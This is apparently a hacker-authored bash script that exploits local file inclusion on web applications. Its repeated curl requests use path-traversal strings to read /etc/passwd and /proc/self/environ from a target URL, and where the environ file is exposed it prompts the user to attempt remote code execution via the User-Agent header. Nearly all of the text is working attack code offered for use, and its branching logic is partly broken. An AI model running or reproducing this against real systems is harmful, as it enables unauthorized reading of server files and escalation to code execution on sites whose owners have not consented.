LFI VIA ETC/PROC

#!/bin/bash
# A pilot project [ LFI ]


if [ $1 -a $2 -a $3 ]
then
echo "[+]--------------------------------------------------------[+]"
echo "[+] Coder By : Lov3rDns                                    [+]"
echo "[+] Title    : LFI VIA ETC/PROC                            [+]"
echo "[+] Homepage : http://pastebin.com/u/dnsx3                 [+]"
echo "[+] 4U : Mr.Dm4r - xSecurity - Shark Hidden                [+]"
echo "[+]--------------------------------------------------------[+]"
else
echo "

Usage : bash $0 http://localhost/lfi.php?dns= 0 etc
Usage : bash $0 http://localhost/lfi.php?dns= 0 proc

"
exit
fi

#Settings etc/passwd
urletc1="$1../../../../../../../../etc/passwd"
urletc2="$1../../../../../../../../etc/passwd"
urletc3="$1../../../../../../../../etc/passwd"
urletc4="$1../../../../../../../../etc/passwd"
urletc5="$1../../../../../../../../etc/passwd"
urletc6="$1../../../../../../../../etc/passwd"
#Settings proc/self/environ
urlproc1="$1../../../../../../../proc/self/environ"
urlproc2="$1../../../../../../../../proc/self/environ"
urlproc3="$1../../../../../../../../../proc/self/environ"
urlproc4="$1../../../../../../../../../../proc/self/environ"
urlproc5="$1../../../../../../../../../../../proc/self/environ"
urlproc6="$1../../../../../../../../../../../../proc/self/environ"
scanproc1=$(curl -L $urlproc1 | grep "DOCUMENT_ROOT")
scanproc2=$(curl -L $urlproc2 | grep "DOCUMENT_ROOT")
scanproc3=$(curl -L $urlproc3 | grep "DOCUMENT_ROOT")
scanproc4=$(curl -L $urlproc4 | grep "DOCUMENT_ROOT")
scanproc5=$(curl -L $urlproc5 | grep "DOCUMENT_ROOT")
scanproc6=$(curl -L $urlproc6 | grep "DOCUMENT_ROOT")


if [ $2 = 1 -a $3 = 1 ]
then
echo `curl -L $urletc1`
exit
else
echo "

Sorry .. etc/passwd empty :(

"

fi

if [ $2 = 1 -a $3 = 2 -a "$scanproc1" != "" ]
then

echo -en '
\E[47;31m'"\033[1m
U Can Try Exploit Remote COde Evaluation by User Agent !

"
exit
else
echo "

Sorry .. environ empty :(

"
fi

# test 2

if [ $2 = 2 -a $3 = 1 ]
then
echo `curl -L $urletc2`
exit
else
echo "

Sorry .. etc/passwd empty :(

"
fi

if [ $2 = 2 -a $3 = 2 -a "$scanproc2" != "" ]
then

echo -en '
\E[47;31m'"\033[1m
U Can Try Exploit Remote COde on User Agent !

"
exit
else
echo "

Sorry .. environ empty :(

"
fi


# test 3

if [ $2 = 3 -a $3 = 1 ]
then
echo `curl -L $urletc3`
exit
else
echo "

Sorry .. etc/passwd empty :(

"
fi

if [ $2 = 3 -a $3 = 2 -a "$scanproc3" != "" ]
then

echo -en '
\E[47;31m'"\033[1m
U Can Try Exploit Remote COde on User Agent !

"
exit
else
echo "

Sorry .. environ empty :(

"
fi

# test 4

if [ $2 = 4 -a $3 = 1 ]
then
echo `curl -L $urletc4`
exit
else
echo "

Sorry .. etc/passwd empty :(

"
fi

if [ $2 = 4 -a $3 = 2 -a "$scanproc4" != "" ]
then

echo -en '
\E[47;31m'"\033[1m
U Can Try Exploit Remote COde on User Agent !

"
exit
else
echo "

Sorry .. environ empty :(

"
fi

#test 5

if [ $2 = 5 -a $3 = 1 ]
then
echo `curl -L $urletc5`
exit
else
echo "Sorry .. etc/passwd empty :("
exit
fi

if [ $2 = 5 -a $3 = 2 -a "$scanproc5" != "" ]
then

echo -en '
\E[47;31m'"\033[1m
U Can Try Exploit Remote COde on User Agent !

"
exit
else
echo "

Sorry .. environ empty :(

"
fi

# en0f

if [ $2 = 6 -a $3 = 1 ]
then
echo `curl -L $urletc6`
exit
else
echo "Sorry .. etc/passwd empty :("
exit
fi

if [ $2 = 6 -a $3 = 2 -a "$scanproc6" != "" ]
then

echo -en '
\E[47;31m'"\033[1m
U Can Try Exploit Remote COde on User Agent !

"
exit
else
echo "

Sorry .. environ empty :(

"
exit
fi